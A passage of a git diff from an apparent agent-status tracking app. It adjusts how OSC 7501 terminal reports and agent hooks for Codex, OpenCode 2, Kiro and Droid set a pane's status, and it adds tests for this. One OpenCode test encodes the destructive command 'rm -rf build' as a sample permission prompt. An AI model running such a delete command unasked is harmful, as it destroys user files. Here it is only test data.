+  return agentType === 'opencode' || agentType === 'opencode2'
+}
+
+/** OpenCode's OSC 7501 covers every session sharing its folder's tabs; its hook covers only the pane's own. */
+export function isOpenCodeHookRow(
+  row: Pick<EnrichedAgentHookEventPayload, 'observation' | 'payload'>
+): boolean {
+  return row.observation?.origin === 'hook' && isOpenCodeAgent(row.payload.agentType)
+}
+
 /** Hook precedence ends at this time; undefined means no yield, Infinity means silence cannot end it. */
 export function programStatusHookYieldEndsAt(
   previous: EnrichedAgentHookEventPayload | undefined,
@@ -15,6 +26,14 @@ export function programStatusHookYieldEndsAt(
   if (previous?.observation?.origin !== 'hook' || previous.providerSessionOnly === true) {
     return undefined
   }
+  // OpenCode's OSC 7501 idle means every session rests, so only that can overrule a silent hook.
+  if (
+    isOpenCodeHookRow(previous) &&
+    isOpenCodeAgent(payload.agentType) &&
+    payload.state !== 'done'
+  ) {
+    return Infinity
+  }
   const sameAgent =
     payload.agentType === undefined || payload.agentType === previous.payload.agentType
   // Different app IDs can be forks; only a completed hook agent lets a different program take over immediately.
@@ -41,11 +60,19 @@ export function programStatusHookYieldEndsAt(
   ) {
     return Infinity
   }
-  // Settled turns are naturally silent; a later wait must prove intervening program work.
-  if (previous.payload.state === 'done' && payload.state === 'waiting') {
-    return programWorkingSince !== undefined && programWorkingSince > previous.receivedAt
+  // A settled turn yields only to program work begun after it (a replayed done keeps its own time):
+  // Codex re-reports the settled turn's working while a background terminal it started runs.
+  if (
+    previous.payload.state === 'done' &&
+    (payload.state === 'waiting' || payload.state === 'working')
+  ) {
+    const doneAt = previous.evidenceObservedAt ?? previous.receivedAt
+    if (programWorkingSince === undefined || programWorkingSince <= doneAt) {
+      return Infinity
+    }
+    return payload.state === 'waiting'
       ? undefined
-      : Infinity
+      : previous.receivedAt + HOOK_SILENCE_BEFORE_PROGRAM_STATUS_FALLBACK_MS
   }
   // A question sends no hooks while open, so a `working` that began before it (e.g. re-sent by the
   // lease renewal) proves nothing; a working transition after it keeps the silence fallback.
diff --git a/src/main/agent-hooks/server/server-codex-question-skip.ts b/src/main/agent-hooks/server/server-codex-question-skip.ts
new file mode 100644
index 00000000000..e59e028baaf
--- /dev/null
+++ b/src/main/agent-hooks/server/server-codex-question-skip.ts
@@ -0,0 +1,41 @@
+import { codexRowAfterQuestionSkip } from '../../../shared/agent-hook-listener/providers/codex-question-skip'
+import { AGENT_STATUS_STALE_AFTER_MS } from '../../../shared/agent-status/contracts/agent-status-freshness'
+import type { AgentQuestionAnsweredInferenceRequest } from '../../../shared/agent-status/lifecycle/agent-question-answered-intent'
+import { CODEX_ASYNC_QUESTION_TOOL } from '../../../shared/codex-async-question-input'
+import { AgentHookServerStatusInference } from './server-status-inference'
+import { isValidPaneKey } from './server-status-identity'
+import type { EnrichedAgentHookEventPayload } from './server-types'
+
+/** Codex's skip key drops an async question in its TUI and reports nothing, so the renderer
+ *  forwards the keystroke as a `codexSkip` question inference for a waiting Codex row. */
+export abstract class AgentHookServerCodexQuestionSkip extends AgentHookServerStatusInference {
+  override inferQuestionAnswered(request: AgentQuestionAnsweredInferenceRequest): boolean {
+    if (!request.codexSkip) {
+      return super.inferQuestionAnswered(request)
+    }
+    if (!isValidPaneKey(request.paneKey)) {
+      return false
+    }
+    // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: the server stores only enriched rows here, as inferQuestionAnswered already assumes.
+    const existing = this.state.lastStatusByPaneKey.get(request.paneKey) as
+      | EnrichedAgentHookEventPayload
+      | undefined
+    const payload = existing?.payload
+    // Codex keeps emitting hooks behind an open question and a skip may follow a skip, so the
+    // row's clock is no baseline; the prompt still fences a keystroke from a later turn.
+    if (
+      !existing ||
+      existing.providerSessionOnly ||
+      existing.restoredUnconfirmed ||
+      payload?.agentType !== 'codex' ||
+      payload.toolName !== CODEX_ASYNC_QUESTION_TOOL ||
+      payload.state !== 'waiting' ||
+      payload.prompt !== request.baselinePrompt ||
+      Date.now() - existing.receivedAt > AGENT_STATUS_STALE_AFTER_MS
+    ) {
+      return false
+    }
+    const row = codexRowAfterQuestionSkip(this.state, existing)
+    return row !== null && this.applyRestatedStatus(row) !== undefined
+  }
+}
diff --git a/src/main/agent-hooks/server/server-ingest-terminal.ts b/src/main/agent-hooks/server/server-ingest-terminal.ts
index 184f4761918..a15b3514900 100644
--- a/src/main/agent-hooks/server/server-ingest-terminal.ts
+++ b/src/main/agent-hooks/server/server-ingest-terminal.ts
@@ -180,6 +180,13 @@ export abstract class AgentHookServerIngestTerminal extends AgentHookServerInges
     const previous = this.state.lastStatusByPaneKey.get(paneKey) as
       | EnrichedAgentHookEventPayload
       | undefined
+    // OSC 7501 names OpenCode 2 `opencode`; the row its hook or launch named keeps the generation.
+    const payload: ParsedAgentStatusPayload =
+      event.fromProgramStatus === true &&
+      event.payload.agentType === 'opencode' &&
+      previous?.payload.agentType === 'opencode2'
+        ? { ...event.payload, agentType: 'opencode2' }
+        : event.payload
     // OpenCode 1 run loads hooks in-process; a hook during the command owns its status.
     const hookOwnsCommand =
       event.yieldsToHookSince !== undefined &&
@@ -189,7 +196,7 @@ export abstract class AgentHookServerIngestTerminal extends AgentHookServerInges
     // Record ordering before removal, which also marks a program turn boundary.
     const workingSince =
       event.fromProgramStatus === true
-        ? this.programStatusFacets.noteState(paneKey, event.payload, now)
+        ? this.programStatusFacets.noteState(paneKey, payload, now)
         : undefined
     if (event.removesProgramStatusRow === true) {
       this.hookSilenceRechecks.cancel(paneKey)
@@ -205,7 +212,7 @@ export abstract class AgentHookServerIngestTerminal extends AgentHookServerInges
     }
     const yieldEndsAt =
       event.fromProgramStatus === true
-        ? programStatusHookYieldEndsAt(previous, event.payload, workingSince)
+        ? programStatusHookYieldEndsAt(previous, payload, workingSince)
         : undefined
     const hookOwnsAgent = yieldEndsAt !== undefined && now < yieldEndsAt
     if (event.fromProgramStatus === true) {
@@ -235,7 +242,7 @@ export abstract class AgentHookServerIngestTerminal extends AgentHookServerInges
       // OSC 7501 uses the hook precedence above; other terminal reports cannot settle child-held work.
       (event.fromProgramStatus !== true &&
         previous?.payload.agentType === 'claude' &&
-        event.payload.agentType === 'claude' &&
+        payload.agentType === 'claude' &&
         isAgentStatusHeldOpenByChildWork(previous.payload) &&
         previous.payload.subagents?.some((subagent) => subagent.state === 'working') === true)
     ) {
@@ -258,10 +265,10 @@ export abstract class AgentHookServerIngestTerminal extends AgentHookServerInges
       previous.worktreeId === worktreeId &&
       // A terminal handle joins row identity; acquiring or replacing it requires publication.
       previous.terminalHandle === (terminalHandle ?? previous.terminalHandle) &&
-      terminalStatusPayloadMatchesHook(previous.payload, event.payload, preserveActiveTurnStamp) &&
+      terminalStatusPayloadMatchesHook(previous.payload, payload, preserveActiveTurnStamp) &&
       // OSC 7501 child-only changes still require publication; absent children means none remain.
       (event.fromProgramStatus !== true ||
-        agentSubagentsEqual(previous.payload.subagents, event.payload.subagents))
+        agentSubagentsEqual(previous.payload.subagents, payload.subagents))
     ) {
       // An authority transfer must refresh enriched subscribers even for an identical payload.
       this.refreshTerminalStatusEvidence(
@@ -274,24 +281,22 @@ export abstract class AgentHookServerIngestTerminal extends AgentHookServerInges
     }
     // Terminal status carries no provider session; retain eligible cached identity without treating unknown as a mismatch (#10630).
     const claimedAgentType =
-      event.payload.agentType && event.payload.agentType !== 'unknown'
-        ? event.payload.agentType
-        : undefined
+      payload.agentType && payload.agentType !== 'unknown' ? payload.agentType : undefined
     // A live agent's turn after `done` keeps its session (OSC 7501 reports hookless slash commands); a new run or an exited agent's resume-only row does not. Launch seeds are not completed turns.
     const preservedProviderSession =
       previous?.providerSession &&
       (claimedAgentType === undefined || claimedAgentType === previous.payload.agentType) &&
       (previous.payload.state !== 'done' ||
-        event.payload.state === 'done' ||
+        payload.state === 'done' ||
         previous.observation?.origin === 'launch' ||
         (!newRun && previous.providerSessionOnly !== true))
         ? previous.providerSession
         : undefined
     // Without a new main-agent fact, preserve it only while the row's state and agent still match.
     const preservedMainAgent =
-      event.payload.mainAgent ??
+      payload.mainAgent ??
       (previous?.payload.mainAgent &&
-      previous.payload.state === event.payload.state &&
+      previous.payload.state === payload.state &&
       (claimedAgentType === undefined || claimedAgentType === previous.payload.agentType)
         ? previous.payload.mainAgent
         : undefined)
@@ -304,9 +309,7 @@ export abstract class AgentHookServerIngestTerminal extends AgentHookServerInges
         connectionId,
         ...(preservedProviderSession ? { providerSession: preservedProviderSession } : {}),
         ...(terminalHandle ? { terminalHandle } : {}),
-        payload: preservedMainAgent
-          ? { ...event.payload, mainAgent: preservedMainAgent }
-          : event.payload
+        payload: preservedMainAgent ? { ...payload, mainAgent: preservedMainAgent } : payload
       },
       undefined,
       event.origin ?? 'osc',
diff --git a/src/main/agent-hooks/server/server-listeners.ts b/src/main/agent-hooks/server/server-listeners.ts
index 7db72a6c592..ec8a7911ef7 100644
--- a/src/main/agent-hooks/server/server-listeners.ts
+++ b/src/main/agent-hooks/server/server-listeners.ts
@@ -1,15 +1,11 @@
 import { cliWriterExecutionMatcher, type CliWriterExecutionMatches } from './cli-writer-observation'
-import { isTmuxInnerSubject } from '../../../shared/tmux-selected-status'
 import type {
   AgentStatusClearIpcPayload,
   AgentStatusIpcPayload
 } from '../../../shared/agent-status/contracts/agent-status-ipc-payload'
 import type { ClaudeStatusLineRateLimits } from '../../../shared/claude-statusline-rate-limits'
 import type { HookTransportInterferenceReport } from '../../../shared/agent-hook-listener/transport/agent-hook-transport-interference'
-import {
-  getLegacyStatusListingOrder,
-  type HookListenerState
-} from '../../../shared/agent-hook-listener/listener-state'
+import type { HookListenerState } from '../../../shared/agent-hook-listener/listener-state'
 import type {
   AgentHookAuthorityEvidence,
   AgentHookProviderSessionIdentity,
@@ -20,15 +16,11 @@ import type {
 } from './server-types'
 import { toAgentStatusIpcPayload } from './server-status-identity'
 import { AgentHookServerState } from './server-state'
-import { serializeAgentStatusSubject } from '../../../shared/agent-status/contracts/agent-status-subject'
-import { structuredStatusLegacyEvent } from './server-structured-status-row'
+import { combinedAgentStatusEntries } from './combined-agent-status-entries'
 import { PaneTimers } from './program-status/pane-timers'
 import { ProgramStatusFacetStore } from './program-status/facet-store'
 import { parsePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
 
-// Unassigned rows sort after the listing counter, which starts at 1.
-const UNORDERED_STATUS_ROW = Number.MAX_SAFE_INTEGER
-
 export abstract class AgentHookServerListeners extends AgentHookServerState {
   protected providerRowsByTab: Map<string, AgentStatusIpcPayload[]> | null = null
   protected statusChangeNotificationVersion = 0
@@ -76,27 +68,17 @@ export abstract class AgentHookServerListeners extends AgentHookServerState {
     this.providerRowsByTab = null
   }
 
-  private combinedStatusEntries(): EnrichedAgentHookEventPayload[] {
-    const rows: { entry: EnrichedAgentHookEventPayload; order: number }[] = []
-    for (const [paneKey, entry] of this.state.lastStatusByPaneKey) {
-      rows.push({
-        // oxlint-disable-next-line typescript/consistent-type-assertions -- SAFETY: Main admits enriched legacy rows; shared listeners expose only the base event type.
-        entry: this.programStatusFacets.stitch(entry as EnrichedAgentHookEventPayload),
-        order: getLegacyStatusListingOrder(this.state, paneKey) ?? UNORDERED_STATUS_ROW
-      })
-    }
-    for (const parent of this.canonicalStatusStore.getParents()) {
-      if (!parent.status || isTmuxInnerSubject(parent.subject)) {
-        continue
-      }
-      rows.push({
-        entry: structuredStatusLegacyEvent(parent.status),
-        order:
-          this.canonicalListingOrder.get(serializeAgentStatusSubject(parent.subject)) ??
-          UNORDERED_STATUS_ROW
-      })
-    }
-    return rows.sort((a, b) => a.order - b.order).map(({ entry }) => entry)
+  private combinedStatusEntries(paneKey?: string): EnrichedAgentHookEventPayload[] {
+    return combinedAgentStatusEntries(
+      {
+        state: this.state,
+        programStatusFacets: this.programStatusFacets,
+        canonicalStatusStore: this.canonicalStatusStore,
+        canonicalSubjectsByPane: this.canonicalSubjectsByPane,
+        canonicalListingOrder: this.canonicalListingOrder
+      },
+      paneKey
+    )
   }
   /** Report repeated hook-body truncation once per process; fail-open handling otherwise hides it (#11217). */
   setTransportInterferenceListener(
@@ -248,6 +230,12 @@ export abstract class AgentHookServerListeners extends AgentHookServerState {
     return this.buildStatusChangeNotification().providerSessions
   }
 
+  getPublicStatusSnapshotForPane(paneKey: string): AgentStatusIpcPayload[] {
+    return this.combinedStatusEntries(paneKey)
+      .filter((entry) => entry.providerSessionOnly !== true)
+      .map(toAgentStatusIpcPayload)
+  }
+
   getStatusSnapshotForPane(paneKey: string): AgentStatusIpcPayload[] {
     const legacy = this.state.lastStatusByPaneKey.get(paneKey)
     if (legacy) {
diff --git a/src/main/agent-hooks/server/server-status-disposition.ts b/src/main/agent-hooks/server/server-status-disposition.ts
index 33a1750d1b7..a52c68af8eb 100644
--- a/src/main/agent-hooks/server/server-status-disposition.ts
+++ b/src/main/agent-hooks/server/server-status-disposition.ts
@@ -12,9 +12,9 @@ import {
   RETIRED_PANE_FENCES_MAX
 } from './server-constants'
 import type { RetiredPaneAlias, RetiredPaneFence } from './server-types'
-import { AgentHookServerStatusInference } from './server-status-inference'
+import { AgentHookServerCodexQuestionSkip } from './server-codex-question-skip'
 
-export abstract class AgentHookServerStatusDisposition extends AgentHookServerStatusInference {
+export abstract class AgentHookServerStatusDisposition extends AgentHookServerCodexQuestionSkip {
   protected markTabClosedForAgentStatus(tabId: string): void {
     // Refresh insertion order so only the oldest closed tabs are evicted.
     this.closedAgentStatusTabIds.delete(tabId)
diff --git a/src/main/agent-hooks/server/testing/identity/server-claude-resume-record-continuity.test.ts b/src/main/agent-hooks/server/testing/identity/server-claude-resume-record-continuity.test.ts
index 6c356e7b35b..35b2bdc1a6e 100644
--- a/src/main/agent-hooks/server/testing/identity/server-claude-resume-record-continuity.test.ts
+++ b/src/main/agent-hooks/server/testing/identity/server-claude-resume-record-continuity.test.ts
@@ -4,7 +4,7 @@ import { join } from 'node:path'
 import { afterEach, beforeEach, expect, it, vi } from 'vitest'
 import { AgentHookServer } from '../../agent-hook-server'
 import { HOOK_SILENCE_BEFORE_PROGRAM_STATUS_FALLBACK_MS } from '../../program-status/hook-precedence'
-import { buildBody, PANE, postHookEvent } from '../server.test-fixtures'
+import { buildBody, ingestProgramStatusOsc, PANE, postHookEvent } from '../server.test-fixtures'
 
 const SESSION = '70efcb3f-ae17-4863-9318-649f5469408b'
 
@@ -54,14 +54,7 @@ it('keeps the start folder and effort when a terminal status row precedes the ne
   vi.useFakeTimers({ toFake: ['Date'] })
   vi.setSystemTime(Date.now() + HOOK_SILENCE_BEFORE_PROGRAM_STATUS_FALLBACK_MS)
   // Claude reports OSC 7501 `working` just before UserPromptSubmit.
-  server.ingestTerminalStatus({
-    paneKey: PANE,
-    tabId: 'tab-1',
-    worktreeId: 'wt-1',
-    connectionId: null,
-    fromProgramStatus: true,
-    payload: { prompt: '', state: 'working', agentType: 'claude' }
-  })
+  ingestProgramStatusOsc(server, '\x1b]7501;state=working:app=claude-code\x1b\\')
   await claudeHook({ hook_event_name: 'UserPromptSubmit', prompt: 'next', cwd: '/repo/sub' })
 
   expect(recordedSession()).toMatchObject({ id: SESSION, cwd: '/repo', effort: 'max' })
diff --git a/src/main/agent-hooks/server/testing/identity/server-kiro-program-status-identity.test.ts b/src/main/agent-hooks/server/testing/identity/server-kiro-program-status-identity.test.ts
new file mode 100644
index 00000000000..f58869bff09
--- /dev/null
+++ b/src/main/agent-hooks/server/testing/identity/server-kiro-program-status-identity.test.ts
@@ -0,0 +1,64 @@
+import { mkdtempSync, rmSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, beforeEach, expect, it } from 'vitest'
+import { createProgramStatusProjector } from '../../../../../shared/program-status/agent-status-projector'
+import { AgentHookServer } from '../../agent-hook-server'
+import { buildBody, PANE, postHookEvent } from '../server.test-fixtures'
+
+const SESSION = 'sess_11111111-2222-4333-8444-555555555555'
+
+// Shape written by kiro-cli 3.1.0's TUI, which reports under its binary name.
+const kiroOsc = (state: string): string => `\x1b]7501;state=${state}:app=kiro-cli\x07`
+
+let dir: string
+let server: AgentHookServer
+let projector: ReturnType<typeof createProgramStatusProjector>
+
+beforeEach(async () => {
+  dir = mkdtempSync(join(tmpdir(), 'orca-kiro-program-status-'))
+  server = new AgentHookServer()
+  await server.start({ env: 'production', userDataPath: dir })
+  projector = createProgramStatusProjector()
+})
+
+afterEach(() => {
+  server.stop()
+  rmSync(dir, { recursive: true, force: true })
+})
+
+async function kiroHook(hookEventName: string, payload: Record<string, unknown> = {}) {
+  const response = await postHookEvent(
+    server,
+    buildBody({ session_id: SESSION, hook_event_name: hookEventName, cwd: '/repo', ...payload }),
+    '/hook/kiro'
+  )
+  expect(response.status).toBe(204)
+}
+
+function kiroReports(state: string): void {
+  for (const { payload } of projector.process(kiroOsc(state)).payloads) {
+    server.ingestTerminalStatus({
+      paneKey: PANE,
+      tabId: 'tab-1',
+      worktreeId: 'wt-1',
+      connectionId: null,
+      fromProgramStatus: true,
+      payload
+    })
+  }
+}
+
+function recordedRow() {
+  const row = server.getStatusSnapshot()[0]
+  return { agentType: row?.agentType, sessionId: row?.providerSession?.id }
+}
+
+it('keeps the Kiro session through a turn that Kiro also reports over OSC 7501', async () => {
+  kiroReports('working')
+  await kiroHook('UserPromptSubmit', { prompt: 'hi' })
+  await kiroHook('Stop')
+  kiroReports('done')
+
+  expect(recordedRow()).toEqual({ agentType: 'kiro', sessionId: SESSION })
+})
diff --git a/src/main/agent-hooks/server/testing/providers/codex/server-codex-background-terminal-working.test.ts b/src/main/agent-hooks/server/testing/providers/codex/server-codex-background-terminal-working.test.ts
new file mode 100644
index 00000000000..378a9a6739e
--- /dev/null
+++ b/src/main/agent-hooks/server/testing/providers/codex/server-codex-background-terminal-working.test.ts
@@ -0,0 +1,40 @@
+import { afterEach, beforeEach, expect, it, vi } from 'vitest'
+import { AgentHookServer } from '../../../agent-hook-server'
+import { HOOK_SILENCE_BEFORE_PROGRAM_STATUS_FALLBACK_MS } from '../../../program-status/hook-precedence'
+import { buildBody, ingestProgramStatusOsc, postHookEvent } from '../../server.test-fixtures'
+
+const TURN = { session_id: 'session-1', turn_id: 'turn-1' }
+
+let server: AgentHookServer
+
+beforeEach(async () => {
+  server = new AgentHookServer()
+  await server.start({ env: 'production' })
+})
+
+afterEach(() => {
+  vi.useRealTimers()
+  server.stop()
+})
+
+async function codexHook(hookEventName: string, payload: Record<string, unknown> = {}) {
+  const response = await postHookEvent(
+    server,
+    buildBody({ ...TURN, hook_event_name: hookEventName, ...payload }),
+    '/hook/codex'
+  )
+  expect(response.status).toBe(204)
+}
+
+it('keeps a finished Codex turn done while its background terminal keeps OSC 7501 working', async () => {
+  await codexHook('UserPromptSubmit', { prompt: 'start sleep 900 in the background' })
+  // Codex 0.167 sends this at the turn start and nothing after it while `sleep 900` runs.
+  const working = ingestProgramStatusOsc(server, '\x1b]7501;state=working:app=codex\x1b\\')
+  await codexHook('Stop', { last_assistant_message: 'ok' })
+
+  vi.useFakeTimers({ toFake: ['Date', 'setTimeout', 'clearTimeout'] })
+  server.ingestTerminalStatus({ ...working, renewsProgramStatusLease: true })
+  vi.advanceTimersByTime(HOOK_SILENCE_BEFORE_PROGRAM_STATUS_FALLBACK_MS + 1)
+
+  expect(server.getStatusSnapshot()[0]?.state).toBe('done')
+})
diff --git a/src/main/agent-hooks/server/testing/providers/codex/server-ingest-codex-async-question.test.ts b/src/main/agent-hooks/server/testing/providers/codex/server-ingest-codex-async-question.test.ts
index 79714496a2f..fef89b48fd9 100644
--- a/src/main/agent-hooks/server/testing/providers/codex/server-ingest-codex-async-question.test.ts
+++ b/src/main/agent-hooks/server/testing/providers/codex/server-ingest-codex-async-question.test.ts
@@ -3,7 +3,7 @@ import { normalizeHookPayload } from '../../../../../../shared/agent-hook-listen
 import { createHookListenerState } from '../../../../../../shared/agent-hook-listener/listener-state'
 import { buildRelayHookEnvelope } from '../../../../../../wsl-guest/agent-hook-envelope-build'
 import { AgentHookServer, _internals } from '../../../agent-hook-server'
-import { PANE, buildBody } from '../../server.test-fixtures'
+import { PANE, buildBody, postHookEvent } from '../../server.test-fixtures'
 
 vi.mock('../../../../../telemetry/client', () => ({ track: vi.fn() }))
 vi.mock('../../../../../telemetry/cohort-classifier', () => ({
@@ -103,4 +103,48 @@ describe('Codex async questions', () => {
     expect(answered).toMatchObject({ state: 'working' })
     expect(answered?.interactivePrompt).toBeUndefined()
   })
+
+  it('drops one question per skip keystroke on a local pane, since Codex reports no skip', async () => {
+    const server = new AgentHookServer()
+    await server.start({ env: 'production' })
+    const row = () => server.getStatusSnapshotForPane(PANE)[0]!
+    const post = async (payload: Record<string, unknown>) => {
+      await postHookEvent(server, buildBody(payload), '/hook/codex')
+      return row()
+    }
+    const baselineOf = (baseline: {
+      receivedAt: number
+      stateStartedAt: number
+      prompt: string
+    }) => ({
+      paneKey: PANE,
+      baselineUpdatedAt: baseline.receivedAt,
+      baselineStateStartedAt: baseline.stateStartedAt,
+      baselinePrompt: baseline.prompt,
+      baselineAgentType: 'codex' as const
+    })
+    const skip = (baseline: { receivedAt: number; stateStartedAt: number; prompt: string }) =>
+      server.inferQuestionAnswered({ ...baselineOf(baseline), codexSkip: true })
+    try {
+      await post({ hook_event_name: 'UserPromptSubmit', turn_id: 'turn-1', prompt: 'Set up a db' })
+      await post(ASK)
+      expect(await post(ACCEPTED)).toMatchObject(waitingOnQuestion)
+
+      // An answer inference (e.g. Enter sent over RPC) is not a skip.
+      expect(server.inferQuestionAnswered(baselineOf(row()))).toBe(false)
+      // Two quick skips share the renderer's stale baseline; both must land.
+      const stale = row()
+      expect(skip(stale)).toBe(true)
+      expect(row()).toMatchObject(waitingOnQuestion)
+      expect(skip(stale)).toBe(true)
+      expect(row()).toMatchObject({ state: 'working', mainAgent: { state: 'working' } })
+      expect(row().interactivePrompt).toBeUndefined()
+      // Later hooks in the same turn must not resurrect the skipped question.
+      const bash = { hook_event_name: 'PreToolUse', turn_id: 'turn-1', tool_name: 'Bash' }
+      expect(await post(bash)).toMatchObject({ state: 'working' })
+      expect(skip(row())).toBe(false)
+    } finally {
+      server.stop()
+    }
+  })
 })
diff --git a/src/main/agent-hooks/server/testing/providers/droid/server-droid-mission-resume.test.ts b/src/main/agent-hooks/server/testing/providers/droid/server-droid-mission-resume.test.ts
new file mode 100644
index 00000000000..ed5bba85694
--- /dev/null
+++ b/src/main/agent-hooks/server/testing/providers/droid/server-droid-mission-resume.test.ts
@@ -0,0 +1,96 @@
+import { mkdtempSync, rmSync, writeFileSync } from 'node:fs'
+import { tmpdir } from 'node:os'
+import { join } from 'node:path'
+import { afterEach, beforeEach, describe, expect, it } from 'vitest'
+import { createHookListenerState } from '../../../../../../shared/agent-hook-listener/listener-state'
+import { normalizeHookPayload } from '../../../../../../shared/agent-hook-listener/normalization/normalize-hook-payload'
+import { AgentHookServer } from '../../../agent-hook-server'
+import { buildBody, PANE, postHookEvent } from '../../server.test-fixtures'
+
+const ROOT_ID = '5883db93-32ca-48da-ba29-db952021d273'
+const WORKER_ID = 'dc08d047-adfd-4190-a0f4-6c3f7167d394'
+
+describe('Droid mission resume identity', () => {
+  let dir: string
+  let server: AgentHookServer
+
+  beforeEach(async () => {
+    dir = mkdtempSync(join(tmpdir(), 'orca-droid-server-'))
+    server = new AgentHookServer()
+    await server.start({ env: 'production' })
+  })
+
+  afterEach(() => {
+    server.stop()
+    rmSync(dir, { recursive: true, force: true })
+  })
+
+  // Droid writes `callingSessionId` on the first transcript record of sub-sessions only.
+  function transcript(id: string, callingSessionId?: string): string {
+    const path = join(dir, `${id}.jsonl`)
+    const start = { type: 'session_start', id, ...(callingSessionId ? { callingSessionId } : {}) }
+    writeFileSync(path, `${JSON.stringify(start)}\n`)
+    return path
+  }
+
+  function body(sessionId: string, transcriptPath: string, event: string) {
+    return buildBody(
+      {
+        hook_event_name: event,
+        session_id: sessionId,
+        transcript_path: transcriptPath,
+        tool_name: 'Execute',
+        prompt: 'run the mission'
+      },
+      { launchToken: 'droid-token' }
+    )
+  }
+
+  async function post(sessionId: string, transcriptPath: string, event: string) {
+    expect(
+      (await postHookEvent(server, body(sessionId, transcriptPath, event), '/hook/droid')).status
+    ).toBe(204)
+  }
+
+  const resumeId = () => server.getStatusSnapshotForPane(PANE)[0]?.providerSession?.id
+
+  it('keeps the orchestrator as the resume target while its workers report', async () => {
+    const rootPath = transcript(ROOT_ID)
+    const workerPath = transcript(WORKER_ID, ROOT_ID)
+
+    await post(WORKER_ID, workerPath, 'PreToolUse')
+    expect(resumeId()).toBeUndefined()
+
+    await post(ROOT_ID, rootPath, 'UserPromptSubmit')
+    await post(WORKER_ID, workerPath, 'PreToolUse')
+    await post(WORKER_ID, workerPath, 'Stop')
+    expect(resumeId()).toBe(ROOT_ID)
+
+    // Dismissing the row keeps only the resume identity; the mission is still running.
+    server.dropStatusEntry(PANE)
+    await post(WORKER_ID, workerPath, 'PreToolUse')
+    expect(resumeId()).toBe(ROOT_ID)
+  })
+
+  it('keeps the orchestrator when a restarted relay forwards a worker hook', () => {
+    // A cold relay has no pane row, so it forwards the worker hook with no session.
+    const relayed = (sessionId: string, transcriptPath: string) => {
+      const event = normalizeHookPayload(
+        createHookListenerState(),
+        'droid',
+        body(sessionId, transcriptPath, 'PreToolUse'),
+        'production'
+      )
+      if (!event) {
+        throw new Error('Missing Droid event')
+      }
+      return event
+    }
+    server.ingestRemote(relayed(ROOT_ID, transcript(ROOT_ID)), 'host-1')
+    const worker = relayed(WORKER_ID, transcript(WORKER_ID, ROOT_ID))
+    expect(worker.providerSession).toBeUndefined()
+
+    server.ingestRemote(worker, 'host-1')
+    expect(resumeId()).toBe(ROOT_ID)
+  })
+})
diff --git a/src/main/agent-hooks/server/testing/providers/opencode/server-opencode2-program-status.test.ts b/src/main/agent-hooks/server/testing/providers/opencode/server-opencode2-program-status.test.ts
new file mode 100644
index 00000000000..14f73339076
--- /dev/null
+++ b/src/main/agent-hooks/server/testing/providers/opencode/server-opencode2-program-status.test.ts
@@ -0,0 +1,89 @@
+import { afterEach, expect, it, vi } from 'vitest'
+import { AgentHookServer } from '../../../agent-hook-server'
+import { HOOK_SILENCE_BEFORE_PROGRAM_STATUS_FALLBACK_MS } from '../../../program-status/hook-precedence'
+import { buildBody, ingestProgramStatusOsc, PANE, postHookEvent } from '../../server.test-fixtures'
+
+vi.mock('../../../../../telemetry/client', () => ({ track: vi.fn() }))
+vi.mock('../../../../../telemetry/cohort-classifier', () => ({ getCohortAtEmit: () => ({}) }))
+
+let server: AgentHookServer | undefined
+afterEach(() => {
+  vi.useRealTimers()
+  server?.stop()
+})
+
+function oscStatus(state: 'working' | 'done'): void {
+  // OpenCode 2 reports OSC 7501 as `app=opencode`.
+  server!.ingestTerminalStatus({
+    paneKey: PANE,
+    tabId: 'tab-1',
+    worktreeId: 'wt-1',
+    connectionId: null,
+    fromProgramStatus: true,
+    payload: { state, prompt: '', agentType: 'opencode' }
+  })
+}
+
+async function hook(hook_event_name: string, prompt = ''): Promise<void> {
+  const body = buildBody({ hook_event_name, sessionID: 'ses_opencode2', prompt })
+  expect((await postHookEvent(server!, body, '/hook/opencode2')).status).toBe(204)
+}
+
+it('keeps OpenCode 2 hooks and their session on a pane its OSC 7501 reports as opencode', async () => {
+  server = new AgentHookServer()
+  await server.start({ env: 'production' })
+  oscStatus('working')
+  await hook('SessionBusy', 'rename the branch')
+  expect(server.getStatusSnapshot()[0]).toMatchObject({
+    agentType: 'opencode2',
+    prompt: 'rename the branch'
+  })
+
+  await hook('SessionIdle')
+  oscStatus('done')
+  expect(server.getStatusSnapshot()[0]).toMatchObject({
+    agentType: 'opencode2',
+    state: 'done',
+    providerSession: { id: 'ses_opencode2' }
+  })
+})
+
+it('keeps an idle OpenCode 2 pane done while another session in its folder works', async () => {
+  server = new AgentHookServer()
+  await server.start({ env: 'production' })
+  await hook('SessionBusy', 'rename the branch')
+  await hook('SessionIdle')
+
+  vi.useFakeTimers({ toFake: ['Date', 'setTimeout', 'clearTimeout'] })
+  vi.advanceTimersByTime(1)
+  // Captured from an idle OpenCode 2.2.6 TUI while another TUI in its folder ran a turn.
+  const otherSession = Buffer.from('Title PARENTSPAWN').toString('base64')
+  ingestProgramStatusOsc(
+    server,
+    `\x1b]7501;state=working:app=opencode:title=${otherSession}\x1b\\` +
+      `\x1b]7501;state=working:id=ses_e37f56b97ffeLXB4e0RO7uYUBV:app=opencode:title=${otherSession}\x1b\\`
+  )
+  vi.advanceTimersByTime(HOOK_SILENCE_BEFORE_PROGRAM_STATUS_FALLBACK_MS + 1)
+
+  expect(server.getStatusSnapshot()[0]).toMatchObject({
+    state: 'done',
+    providerSession: { id: 'ses_opencode2' }
+  })
+})
+
+it('keeps a permission prompt from another OpenCode session off a working pane', async () => {
+  server = new AgentHookServer()
+  await server.start({ env: 'production' })
+  await hook('SessionBusy', 'rename the branch')
+
+  const request = Buffer.from('rm -rf build').toString('base64')
+  ingestProgramStatusOsc(
+    server,
+    `\x1b]7501;state=blocked:kind=permission:app=opencode:msg=${request}\x1b\\` +
+      `\x1b]7501;state=blocked:kind=permission:id=ses_other:app=opencode:msg=${request}\x1b\\`
+  )
+
+  const [row] = server.getStatusSnapshot()
+  expect(row).toMatchObject({ state: 'working' })
+  expect(row?.programStatus).toBeUndefined()
+})
diff --git a/src/main/agent-hooks/server/testing/server.test-fixtures.ts b/src/main/agent-hooks/server/testing/server.test-fixtures.ts
index 9b380067b2f..4cd27a5c1d7 100644
--- a/src/main/agent-hooks/server/testing/server.test-fixtures.ts
+++ b/src/main/agent-hooks/server/testing/server.test-fixtures.ts
@@ -1,4 +1,5 @@
 import { makePaneKey } from '../../../../shared/workspace-layout/stable-pane-id'
